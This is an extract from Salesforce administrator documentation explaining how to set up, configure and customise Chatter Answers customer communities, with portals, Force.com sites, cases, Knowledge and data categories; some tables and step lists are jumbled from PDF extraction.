Note: We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers, as it involves several Salesforce features. Chatter Answers integrates Cases, Answers, Force.com Sites, Customer Portal, and Salesforce Knowledge to provide you with a Web community for your customers. Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you want knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge. Unlike other Salesforce features, Chatter Answers spans across several areas of setup. There isnt one location in Salesforce where you can update and configure all of the settings related to Chatter Answers. For example, configuring Chatter Answers might require you to update Customer Portal settings by clicking Your Name > Setup > Customize > Customer Portal > Settings, as well as Force.com Site settings by clicking Your Name > Setup > Develop > Sites. Setting up Chatter Answers also includes customizing or maintaining: Cases Case assignment rules Workflow rules on cases or questions Apex triggers on questions Visualforce pages Customer Portal users Organization-wide sharing defaults Feature licenses

Customizing the appearance of your Chatter Answers community to match your companys branding involves creating or updating Visualforce pages and adding them to the Force.com Site used to host your community.

See Also:
Chatter Answers Overview Chatter Answers Users Overview Setting Up Chatter Answers Chatter Answers Implementation Guide Chatter Answers Implementation Tips Chatter Answers Best Practices

1602

Customize

Chatter Answers Implementation Overview

Chatter Answers Limitations


Consider the following limitations when planning and using Chatter Answers. Chatter Answers doesnt support Internet Explorer 6. Users can't escalate a question to a case, but support agents can escalate questions from the Answers or Questions tabs. Each question can receive up to 500 replies from users. There are no standard reports for Chatter Answers, but you can create custom report types for questions. Administrators cant customize the FAQ (Frequently Asked Questions) available to customers when they click Need help?.

See Also:
Chatter Answers Overview Chatter Answers Implementation Tips Chatter Answers Best Practices Setting Up Chatter Answers

Chatter Answers Implementation Tips


Available in: Enterprise and Unlimited Editions

Consider the following information when planning and implementing Chatter Answers. We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers, as it involves several Salesforce features. Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you want knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge. You can customize fields, page layouts, buttons and links, Apex triggers, and validation rules for questions and replies for Chatter Answers by clicking Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting. After you enable Chatter Answers, several items are automatically added to your organization for use with setting up communities: Standard permission settings for Questions on user profiles so that you can grant users permissions to questions and replies. Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community. An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that questions with specified attributes are automatically escalated to cases. A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is escalated to a case, Priority on questions is updated. Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that questions without best replies or questions with a specified number of followers are automatically escalated to cases.

1603

Customize

Chatter Answers Implementation Overview

You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter Answers communities from one of your established channels. Chatter Answers is designed to support one user language for each Web community you create. When you enable Chatter Answers, the Visualforce pages automatically added to your organization inherit your organizations default language. However, you can change the language attribute on each Visualforce page. Users who self-register for your community inherit your organizations default language. Guest users view your community in the language specified in the Visualforce pages, no matter the language chosen for their browsers. You can rename Customer Support on your communities user interface. For example, you can change Customer Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming Tab and Field Labels on page 1072. Questions escalated to cases display a Chatter-like feed on case detail pages. The case detail page also includes a Customer View section that lets support agents reply publicly or privately to the thread posted to the community. Case comments marked Public display as private messages from customer support in Chatter Answers; they don't display to the entire community. For example, if a support agent adds a public case comment, it only displays to the case's contact when he or she logs in to Chatter Answers to review private messages. Support agents can read all private and public case comments. See Creating and Editing Case Comments on page 3349. Chatter Answers sends emails to users when they: Sign up for an account. Follow a question (answers or comments). Receive an answer or comment to their question. Receive a private reply to their question from customer support.

Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't include https://. Before you make a Web community public, add at least 20 frequently asked questions, answers, or articles. This content will generate conversations. Create knowledge articles that contain: Your support organization's phone number so that customers can contact your support agents directly. Terms and conditions for community members, such as when support agents might delete customers' questions and comments.

Chatter Answers uses the following API objects: Case ChatterAnswersActivity ChatterAnswersReputationLevel Community Question QuestionReportAbuse QuestionSubscription Reply ReplyReportAbuse

1604

Customize

Chatter Answers Implementation Overview

See the SOAP API Developer's Guide.

See Also:
Chatter Answers Overview Chatter Answers Best Practices Chatter Answers Terminology

Chatter Answers Best Practices


Consider the following tips when planning and using Chatter Answers. We recommend that you tell support agents that: The Case Origin field lists Chatter Answers on any case converted from a question. If they answer a question privately, they can't convert it to a public answer. We recommend that you assign a support agent to review public questions from the Questions tab. Agents cant click Flag next to questions or replies that are spam, hateful, or inappropriate, but they can edit and delete questions or replies from a Web community via the Questions tab if they have the Delete permission on questions. To moderate many questions quickly, we recommend that support agents review questions from pinned lists on the Service Cloud console (this requires adding the Questions tab to the consoles Navigation tab; see Creating a Service Cloud Console App on page 1577). To see a list of cases converted from questions, we recommend that administrators or support agents create a case view where Case Origin equals Chatter Answers. See Creating Custom List Views on page 270. Because photos added to profiles display externally on Chatter Answers, we recommend that support agents choose photos that match their company's policies and branding. See Uploading Chatter Group and Profile Photos on page 2499.

See Also:
Chatter Answers Overview Chatter Answers Implementation Tips Chatter Answers Terminology

1605

Customize

Setting Up Chatter Answers

Setting Up Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set up Chatter Answers: Customize Application AND Manage Users AND Edit Self-Service Users

Note: The steps below are general guidelines for setting up Chatter Answers. Chatter Answers integrates several Salesforce features, including features administrators may have implemented already, so each Chatter Answers implementation may be different. Contact salesforce.com for specifics on your implementation. Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you want knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge. Before you set up Chatter Answers, you must purchase an adequate number of the following licenses: Chatter Answers User Knowledge User, if you plan to use knowledge articles Customer Portal user licenses, we recommend Service Cloud Portal (High Volume).

1. Enable Chatter Answers. 2. Configure email notification settings. 3. Implement a Customer Portal (if one doesnt already exist for your organization). 4. Configure your organizations Customer Portal for Chatter Answers. 5. Configure high-volume portal users for self-registration. 6. Implement a Force.com site (if one doesnt already exist for your organization and you want to use a site). 7. Configure your organizations Force.com site for Chatter Answers. 8. Configure cases for Chatter Answers. 9. Set Questions tab visibility. 10. Optionally: Assign data categories to Chatter Answers. Configure Salesforce Knowledge for Chatter Answers. Add Chatter Answers to your Customer Portals or Partner Portals.

11. Configure one or more Chatter Answers communities. 12. Troubleshoot any setup issues.

1606

Customize

Setting Up Chatter Answers

Important: After you set up Chatter Answers, it may not work properly if you change any of the configurations in the features mentioned above. If certain configuration issues are detected, Salesforce sends email notifications to the Site Contact user. Tip: You can add custom fields to questions or replies for API integration purposes only. For example, add a custom text field to questions and use the API to populate that text field with the name of the country from which each question is posted. Any custom fields you create for questions or replies cant display in the Salesforce user interface. You can customize fields, page layouts, buttons and links, Apex triggers, and validation rules for questions and replies for Chatter Answers by clicking Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting. You can rename Customer Support on your communities user interface. For example, you can change Customer Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming Tab and Field Labels on page 1072. You can rename the Chatter Answers tab in your portal, as well.

See Also:
Chatter Answers Overview Chatter Answers Implementation Overview Chatter Answers Implementation Guide

Enabling Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To enable Chatter Answers: Customize Application

Enable Chatter Answers to set up Chatter Answers communities. 1. 2. 3. 4. Click Your Name > Setup > Customize > Chatter Answers > Settings. Click Edit. Select Enable. Optionally, select: Option
Optimize Question Flow

Description Lets users filter search results by articles or questions before they post a question to any of your Chatter Answers communities. Also, adds Title and Body fields to questions for easier text input and scanning. This setting is turned on automatically when you enable Chatter Answers.

1607

Customize

Setting Up Chatter Answers

Option
Show Chatter Answers in Portals

Description Lets you add Chatter Answers as a tab to your Customer Portal or Partner Portal. If you choose this option, you must add the Chatter Answers tab to each portal and assign the Chatter Answers User license to portal users. If you only want to display Chatter Answers in your portals, then you dont need to set up a Force.com site to host Chatter Answers. However, a site lets guest users access some Chatter Answers data without a login, whereas portals do not.

Enable Facebook Single Sign On

Lets users sign in to your Chatter Answers communities with their Facebook logins. If you choose this setting, your communities display an option to Sign in with Facebook next to your communities Sign In. When a user signs in to Chatter Answers with a Facebook login, the first name, last name, and the photo associated with the Facebook account is used in posts to your communities. Before you enable this feature, you must define and enable a Facebook authentication provider in your organizations security controls. See Configuring a Facebook Authentication Provider on page 714.

Facebook Authentication Provider

Lets you choose an existing Facebook authentication provider after you select Enable Facebook Single Sign On. You must choose a Facebook authentication provider to implement Facebook Single Sign On for your Chatter Answers communities. Lets community members use the rich text editor to format text and upload images when posting questions. Lets users earn points and ratings that display as hover text on their profile pictures. Reputation is enabled across all communities. This setting is turned on automatically when you enable Chatter Answers.

Enable Rich Text Editor

Enable Reputation

5. Click Save. After you enable Chatter Answers, several items are automatically added to your organization for use with setting up communities: Standard permission settings for Questions on user profiles so that you can grant users permissions to questions and replies. Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community. An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that questions with specified attributes are automatically escalated to cases. A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is escalated to a case, Priority on questions is updated.

1608

Customize

Setting Up Chatter Answers

Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that questions without best replies or questions with a specified number of followers are automatically escalated to cases.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers

Visualforce Pages for Chatter Answers


Available in: Enterprise and Unlimited Editions

After you enable Chatter Answers, the Visualforce pages below are automatically added to your organization. You can use these pages to set up and configure Chatter Answers communities. Visualforce page
ChatterAnswersAgentView

Description The Visualforce component that displays questions on case detail pages when questions are converted to cases. This component is optional and offers an alternative to the case detail page. The page where users can change their passwords to your community. The forgot password page for your community. The forgot password confirmation page for your community. The online help page displayed to users when they click Need Help?. The login page for your community. The page where users can self-register for access to your community.

ChatterAnswersChangePassword ChatterAnswersForgotPassword ChatterAnswersForgotPasswordConfirm ChatterAnswersHelp ChatterAnswersLogin ChatterAnswersRegistration

When you create a community, the following page is added to your organization: Visualforce page
Community Name_main

Description The page that includes the question, reply, and Knowledge article feeds for your community. This page is also used to determine the community from which email notifications are sent to users. This page is automatically generated when you save a new community without choosing Visualforce Page That Hosts Your Communitys Feeds. The generated page includes your communitys ID so that topics, questions, and replies are associated with your specific community and can

(Home Page)

1609

Customize

Setting Up Chatter Answers

Visualforce page

Description display on it. The page is named after your community with a suffix of _main, for example, CommunityName_main. The page also includes a language attribute that matches your organizations default language.

See Also:
Enabling Chatter Answers Setting Up Chatter Answers Visualforce Overview Customizing Chatter Answers in Portals using Visualforce Pages

Configuring Email Notifications for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To configure email notifications for your Chatter Answers communities: Customize Application

Determine when emails are sent to users by configuring the notification settings that apply to all of your Web communities. Each email includes a link to a specific community so that users can easily return to it. 1. Click Your Name > Setup > Customize > Chatter Answers > Email Notification Settings. 2. Click Edit. 3. Choose from the following settings:
Option Description Notify customers when other users reply to their questions. Notify customers when other users reply to questions theyre following.

Replies to a question they own Replies to a question they follow

Selects a best answer on a question they Notify customers when a best answer is selected for a question theyre following. follow Sends a private reply to their question Notify customers when customer support responds to their questions privately. (Customer Support)

1610

Customize

Setting Up Chatter Answers

4. Click Save.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers Configuring a Chatter Answers Community

Configuring a Customer Portal for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set up and update the Customer Portal: Customize Application

Note: Even if you dont plan on using a Customer Portal, you must configure one for Chatter Answers to authenticate users who sign in to your Chatter Answers community. 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Click Edit next to the Customer Portal you want to configure for Chatter Answers. Click Login Enabled to let customers sign in to Chatter Answers. In From Email Address, type the address from which all email communications from your Chatter Answers community are sent. For example, support@acme.com. 5. In From Email Address Name, type the name associated with the From Email Address. For example, Acme Customer Support. 6. Click Self-Registration Enabled to let customers register themselves for access to Chatter Answers. 7. In Default New User License, choose the portal user license thats automatically assigned to customers who self-register. We recommend you choose the High Volume Customer Portal license. 8. In Default New User Profile, choose the profile thats automatically assigned to customers who self-register. We recommend you choose the profile you cloned and customized for self-registration. 9. Click Save. 10. Assign the profile you selected as the Default New User Profile to your Customer Portal so that users can sign in to your community: a. b. c. d. e. Click Your Name > Setup > Customize > Customer Portal > Settings. Select your portals name. In the Assigned Profiles section, click Edit Profiles. Click Active next to the profile you selected as the Default New User Profile. Click Save.

1611

Customize

Setting Up Chatter Answers

Tip: To learn how you can add Chatter Answers as a tab to one of your Customer Portals, see Adding Chatter Answers to a Portal on page 1620.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers Enabling Customer Portal Login and Settings Understanding User License Types

Configuring Portal Users for Self-Registration to Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set up and update the Customer Portal: To manage Customer Portal users: Customize Application Edit Self-Service Users

Configure Customer Portal users for self-registration to your Chatter Answers community. 1. Clone the High Volume Customer Portal profile so that you can customize it: a. b. c. d. a. b. c. d. Click Your Name > Setup > Manage Users > Profiles. Click Clone next to High Volume Customer Portal. Type a name for the new profile. Click Save. Click Your Name > Setup > Manage Users > Profiles. Click the name of the cloned profile. Click Edit. In Standard Object Permissions, click on the following permissions to these objects: Object Cases Contacts Questions Account Permissions
Read, Create Read Read, Create Read

2. Customize the cloned profile to include permissions to the standard objects on your community:

1612

Customize

Setting Up Chatter Answers

e. Click Save.

See Also:
Setting Up Chatter Answers Configuring a Customer Portal for Chatter Answers Chatter Answers Users Overview

Configuring a Force.com Site for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Note: Configuring a Foce.com site is recommended for self-service communities.

Configure a Force.com site for Chatter Answers to host a domain and publicly display some of your Salesforce data, such as questions, replies, and knowledge articles. 1. Click Your Name > Setup > Develop > Sites. 2. Click Edit next to the name of the site you want to configure for Chatter Answers. 3. Click Active to activate the site. You can activate the site after youve finished setting up Chatter Answers. 4. In Active Site Home Page, choose a Visualforce page as the home page for your site. This page can be one of your community pages. 5. Click Save. 6. Click Edit on the Site Visualforce Pages related list. a. Use the Add and Remove buttons to enable the following Visualforce pages for your site:
ChatterAnswersAgentView ChatterAnswersChangePassword ChatterAnswersForgotPassword ChatterAnswersForgotPasswordConfirm ChatterAnswersHelp ChatterAnswersLogin ChatterAnswersRegistration

b. Click Save. 7. Click Public Access Settings to grant guest users (unauthenticated, non-Customer Portal users) access to cases, questions, and Salesforce Knowledge articles.

1613

Customize

Setting Up Chatter Answers

a. Click Edit on the profile for Chatter Answers users. b. In Standard Object Permissions, click Read on Cases and Questions. c. Optionally, if you want articles to display in your Chatter Answers community, click Read on articles types in Article Type Permissions. d. Click Save. 8. Click Edit next to a category group in the Category Group Visibility Settings related list to grant users access to the categories so that they can browse questions, replies, and knowledge articles. a. Next to Visibility, click All Categories. b. Click Save. 9. Return to the site and select its name by clicking Your Name > Setup > Develop > Sites. 10. Click Login Settings to enable user authentication for the site. a. Click Edit. b. In Enable Login For, choose the Customer Portal you created for Chatter Answers. c. Click Save. After you configure your Force.com site for Chatter Answers, you can replace the default Visualforce pages that make up your community with customized ones. The Visualforce pages are automatically set to your sites URL so that portal users can navigate to them. Note: Chatter Answers is compatible with custom URL rewriters for sites.

1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings. 2. Click Edit next to a site. 3. Choose the pages to replace. If you replace the Change Password Page, the Change Password Page for your site is automatically updated too. 4. Click Save. Note: Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't include https://.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers Configuring Force.com Sites Visualforce Pages for Chatter Answers

1614

Customize

Setting Up Chatter Answers

Configuring Cases for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set organization-wide sharing defaults: Manage Users AND Customize Application To set field-level security: To customize fields: To create assignment rules: To grant high-volume portal users access to cases: Customize Application Customize Application

Configure case features for Chatter Answers so that cases are created, escalated, and accessed by the appropriate users of your Chatter Answers communities. 1. Set your organization-wide sharing defaults to Private on Account, Controlled by Parent on Contact, and Private on Case to prevent users from accessing each others information. 2. Set field-level security on Question on cases to Visible for profiles assigned to your Customer Portal so that users can access their private questions. 3. Update Origin on cases with the value in the Question trigger so that support agents can see which cases originated from Chatter Answers. 4. Create a case assignment rule where Case Origin equals the value of Chatter Answers so that cases created from private questions are assigned to support agents. 5. Grant high-volume portal users access to cases so that they can access their private questions on Chatter Answers.

See Also:
Setting Up Chatter Answers

1615

Customize

Setting Up Chatter Answers

Setting Questions Tab Visibility


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set Questions tab visibility: Manage Users

Set the visibility of the Questions tab to Default On so that support agents can view, search, filter, and moderate questions posted to your Chatter Answers community. 1. Click Your Name > Setup > Manage Users > Profiles. 2. Select a support agent profile. 3. Depending on which user interface you're using, do one of the following: Enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit. Original profile user interfaceClick Edit, then scroll to the Tab Settings section.

4. Specify the visibility of the Questions tab to Default On. 5. (Original profile user interface only) To reset users tab customizations to the tab visibility settings that you specify, select Overwrite users' personal tab customizations. 6. Click Save.

See Also:
Setting Up Chatter Answers Viewing and Editing Tab Settings in Permission Sets and Profiles Customizing Your Display Questions Home

Assigning Data Categories to Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To assign data categories to Chatter Answers: Customize Application

Assign a data category group to Chatter Answers so that its available to all of your Chatter Answers communities. You configure each community with a top-level data category (topic) in which customers and support agents can categorize and filter questions and knowledge articles.

1616

Customize

Setting Up Chatter Answers

1. 2. 3. 4.

Click Your Name > Setup > Customize > Chatter Answers > Data Category Assignments. Click Edit. Select a category group. Click Save.

See Also:
Setting Up Chatter Answers What are Data Categories?

Configuring Salesforce Knowledge for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge To manage synonyms: To create data categories: Manage Synonyms Manage Data Categories

To display Salesforce Knowledge articles in your Chatter Answers communities, you must: 1. Implement Data Categories (if you havent done so already). 2. Implement Salesforce Knowledge (if you havent done so already). 3. Configure both for Chatter Answers. You configure each community with a top-level data category (topic) in which customers and support agents can categorize and filter questions and knowledge articles. 1. If you use role-based data category visibility, set the Default Data Category Visibility to All Categories so that customers not included in your organizations role hierarchy, such as high-volume portal users, can access categories that include questions and knowledge articles. Alternatively, use permission sets or profiles to set data category visibility. 2. Create one category group for all of your communities so that youre less likely to reach the limit of three active data categories. Then add a child category for each community; and add child categories to those categories to provide topics. 3. Activate the category group you want available to Chatter Answers so that users can access it. 4. Grant Read permissions to specific article types on the profiles of Chatter Answers users so that they can access articles from your communities.

1617

Customize

Setting Up Chatter Answers

5. Optionally, allow support agents to promote replies to draft articles in the knowledge base so that your support team can capture useful information quickly.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers Overview of Roles About Category Group Visibility Creating and Modifying Category Groups

Configuring a Chatter Answers Community


Available in: Enterprise and Unlimited Editions

User Permissions Needed To configure a Chatter Answers community: Customize Application

Configure a Chatter Answers community to integrate the user authentication features of the Customer Portal with the domain and public data features of a Force.com site. 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Customize > Chatter Answers > Communities. Select an existing community, or click New to create a new community. Type a name and description for your community. Click Active to activate the community for ideas, answers, or Chatter Answers. In Portal, choose the Customer Portal in which to authenticate community members. Optionally, in Portal Email Notification URL, customize the portal URL thats included in email notifications sent from the community. This field only displays if youve chosen to show Chatter Answers in a Customer Portal. The URL is automatically generated to include your portals ID and a question or case ID; but you might want to customize the URL to redirect users to a specific login page. For example, if youve created a login page from which users can access multiple communities, you can customize Portal Email Notification URL to redirect users to that page from email notifications. 7. Click Enable This Community for Chatter Answers to associate the community with Chatter Answers. 8. Click Enable Private Questions to let customers post their questions privately to customer support (create cases). If you dont select this setting, support agents can still initiate private communications with customers. 9. In Data Category for Top-Level Topics, choose the top-level topic in which customers and support agents can categorize and filter questions and knowledge articles. 10. In Site That Hosts Your Community, click community. and choose the Force.com site on which you want to host the and choose the Visualforce page on

11. In Visualforce Page That Hosts Your Communitys Feeds, click which questions, replies, and knowledge articles display.

1618

Customize

Setting Up Chatter Answers

The page you choose must include the chatteranswers:allfeeds component so that the community is linked to your Force.com site correctly. If you dont choose a Visualforce page, one is automatically generated when you save your community. The generated page includes your communitys ID so that topics, questions, and replies are associated with your specific community and can display on it. The page is named after your community with a suffix of _main, for example, CommunityName_main. The page also includes a language attribute that matches your organizations default language. You can use the NoSignIn Boolean attribute in the chatteranswers: allfeeds to remove all sign-in links from your community. Use this option when you have an external sign-in path and want to ensure that your users follow it instead of the standard Chatter Answers sign-in. When the NoSignIn Boolean attribute is true, users can still search and view publicly accessible content for the community. If they already have a valid session, they can still post questions, replies, vote, and flag content. 12. Optionally, in Header or Footer, click and choose a text or HTML file that incorporates your organizations branding into the headers or footers of email notifications sent from the community. You can only choose a file that has been uploaded to a publicly accessible folder on the Documents tab and marked Externally Available Image. The files you include in the fields can have a combined size of up to 10 KB. 13. Click Save. Note: You can create a community for each product you want to support. If you create multiple communities, your portal users have access to all of them. Each question a user creates is associated with the community in which its posted, and the community name is added to each question so that users and support agents can see where it originated. Users can view all of the questions theyve posted to your communities by clicking My Questions from any community. You only need one Force.com site and one Customer Portal to support multiple communities.

See Also:
Chatter Answers Implementation Overview Setting Up Chatter Answers Managing Data Categories

Troubleshooting Chatter Answers Setup


Available in: Enterprise and Unlimited Editions

User Permissions Needed To view Setup: To set up Chatter Answers: View Setup and Configuration Customize Application

After you set up a Chatter Answers community, you can view a snapshot of all of its configurations on one page so that you dont have to visit several pages in setup to diagnose issues. 1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings. 2. In the Site Snapshot column, click View next to the Force.com site associated with your community.

1619

Customize

Setting Up Chatter Answers

3. Click to show or to hide various settings. 4. Click Go! to go to a specific page in setup where you can change settings. For example, you can use a site snapshot to see if the Force.com site hosting your community is marked Active or to verify the names of the user profiles assigned to your communitys Customer Portal.

See Also:
Chatter Answers Implementation Overview Chatter Answers Users Overview Setting Up Chatter Answers

Adding Chatter Answers to a Portal


Available in: Enterprise and Unlimited Editions

You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter Answers communities from one of your established channels. After users log in to one of your portals, they can access Chatter Answers from a tab and choose which community to view from a drop-down list. If you only want to display Chatter Answers in your portals, then you dont need to set up a Force.com site to host Chatter Answers. However, a site lets guest users access some Chatter Answers data without a login, whereas portals do not. The following occurs to Chatter Answers when it appears in a portal: Chatter Answers displays as a tab, which you can rename. A drop-down list lets portal users switch between all of your Chatter Answers communities. The My Settings link for users is replaced by Enable Emails and Disable Emails. Sign In and Sign Up are removed because portal users can only view Chatter Answers after theyve logged in to your portal. Chatter Answers displays a look and feel, which you cant customize. The Need help? link is removed.

To add Chatter Answers to a portal, see: Adding Chatter Answers to a Customer Portal Adding Chatter Answers to a Partner Portal Note: If you display Chatter Answers with a Visualforce page on a portal, the option for users to switch communities in a portal isnt available.

See Also:
Setting Up Chatter Answers Setting Up Your Customer Portal Partner Portal Overview

1620

Customize

Setting Up Chatter Answers

Adding Chatter Answers to a Customer Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed To add Chatter Answers to a Customer Portal: Customize Application

You can add Chatter Answers to an existing Customer Portal so that portal users can access Chatter Answers communities from one of your established support channels. 1. Enable Chatter Answers for portals: a. b. c. d. a. b. c. d. e. a. b. c. d. a. b. c. d. e. a. b. c. d. Click Your Name > Setup > Customize > Chatter Answers > Settings. Click Edit. Select Show Chatter Answers in Portals. Click Save. Click Your Name > Setup > Manage Users > Profiles. Click Edit next to a portal user profile. In Tab Settings, choose Default On for Chatter Answers. In Standard Object Permissions, click Read and Create on Questions. Click Save. Click Your Name > Setup > Manage Users > Users. Click Edit next to a portal user. Click Chatter Answers User. Click Save. Click Your Name > Setup > Customize > Customer Portal > Settings. Click the name of a Customer Portal. Click Customize Portal Tabs. Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box. Click Save. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels. Click Edit next to Questions. Click Next. In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural.

2. Edit Customer Portal user profiles to support Chatter Answers:

3. Add the Chatter Answers User feature license to Customer Portal users:

4. Add Chatter Answers as a tab to your Customer Portal:

5. Optionally, rename the Chatter Answers tab for your Customer Portal:

1621

Customize

Setting Up Chatter Answers

e. Click Save.

See Also:
Adding Chatter Answers to a Portal

Adding Chatter Answers to a Partner Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed To add Chatter Answers to a Partner Portal: Customize Application

You can add Chatter Answers to an existing Partner Portal so that portal users can access Chatter Answers communities from one of your established partner channels. 1. Enable Chatter Answers for portals: a. b. c. d. a. b. c. d. e. a. b. c. d. a. b. c. d. e. Click Your Name > Setup > Customize > Chatter Answers > Settings. Click Edit. Select Show Chatter Answers in Portals. Click Save. Click Your Name > Setup > Manage Users > Profiles. Click Edit next to a portal user profile. In Tab Settings, choose Default On for Chatter Answers. In Standard Object Permissions, click Read and Create on Questions. Click Save. Click Your Name > Setup > Manage Users > Users. Click Edit next to a portal user. Click Chatter Answers User. Click Save. Click Your Name > Setup > Customize > Partners > Settings. Click the name of a Partner Portal. Click Customize Portal Tabs. Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box. Click Save.

2. Edit Partner Portal user profiles to support Chatter Answers:

3. Add the Chatter Answers User feature license to Partner Portal users:

4. Add Chatter Answers as a tab to your Partner Portal:

5. Optionally, rename the Chatter Answers tab for your Partner Portal: a. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels. b. Click Edit next to Questions.

1622

Customize

Setting Up Chatter Answers

c. Click Next. d. In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural. e. Click Save.

See Also:
Adding Chatter Answers to a Portal

Customizing Chatter Answers in Portals using Visualforce Pages


Available in: Enterprise and Unlimited Editions

You can create a Visualforce page that displays a Chatter Answers community in a Customer Portal or Partner Portal. By using a Visualforce page, you can add custom widgets to Chatter Answers, such as announcements or ads, which let you extend your branding and change the community experience for users. The page you create must include the chatteranswers:allfeeds component to display the community. After users log in to one of your portals, they can access Chatter Answers from a tab and interact with that community. When you add Chatter Answers using a Visualforce page, users only see the community that is related to the page; they cant switch communities as they can when using the standard Chatter Answers tab on a portal. Note: The Visualforce page is visible to portal users only. Internal users can see the Chatter Answers tab, but need to log in through the portal to view the contents of the tab using the portal.

See Also:
Adding a Custom Visualforce Page to a Portal Visualforce Pages for Chatter Answers

Adding a Custom Visualforce Page to a Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed To set up and update the Customer Portal: Customize Application

To add a custom Visualforce tab to a portal: 1. Click Your Name > Setup > Create > Tabs to display a list of your organizations Visualforce tabs. 2. Click New to create a new Visualforce tab. 3. Select the Visualforce page and add details for the other fields on the page.

1623

Customize

Setting Up Chatter Answers

4. Click Next. 5. Select which user profiles can see the tab. 6. Select the portals that will include the new tab.

See Also:
Creating Visualforce Tabs Customizing Chatter Answers in Portals using Visualforce Pages

Encouraging Community Participation with Chatter Answers Reputation


Available in: Enterprise and Unlimited Editions

Tap into the expertise and knowledge of your most active community members by rewarding their activity. By enabling reputations, you let users earn points and ratings that display on hover over a users photo in the feed. As your star posters engage more frequently, they improve the overall content in your community and provide better answers for users who are searching for help with an issue. This means that users who are searching for a solution can be confident that an answer from a community expert can be trusted, which means fewer support calls for your organization.

Users earn points when their posts receive votes or are selected as a best answer in any of the communities to which they belong. When they earn enough points, the hover shows their reputation as well as the number of posts and best answers they have in that community. Chatter Answers comes with the following pre-defined reputation levels that apply to all communities: Name Newbie Points per Level 0 499 Color Green

1624

Data Categories

What are Data Categories?

Name Smartie Pro All Star

Points per Level 500 1999 2000 4999 5000+

Color Blue Purple Orange

To add or edit reputation level names or points per level in any of your communities, use the ChatterAnswersReputationLevel object in the API. You can create up to 25 different reputation levels in the application. Colors for the different reputation levels can be changed at the stylesheet (CSS) level.

DATA CATEGORIES
What are Data Categories?
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Data categories can be used by Salesforce Knowledge (articles and article translations) and answers communities (questions) to help users classify and find articles or questions. Administrators can use data categories to control access to articles and questions. Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. You can classify articles in the knowledge base according to multiple categories that make it easy for users to find the articles they need. For example, to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America, Europe, and Asia at the second level, and so on. In an answers community, data categories help organize questions for easy browsing. Each community supports one category group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab, community members can assign one of the four categories to each question and then browse these categories for answers to specific questions. Benefits of Data Categories Logical Classification of Articles As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy and tag articles with the attributes that are significant to your business.

1625

Customize

What are Data Categories?

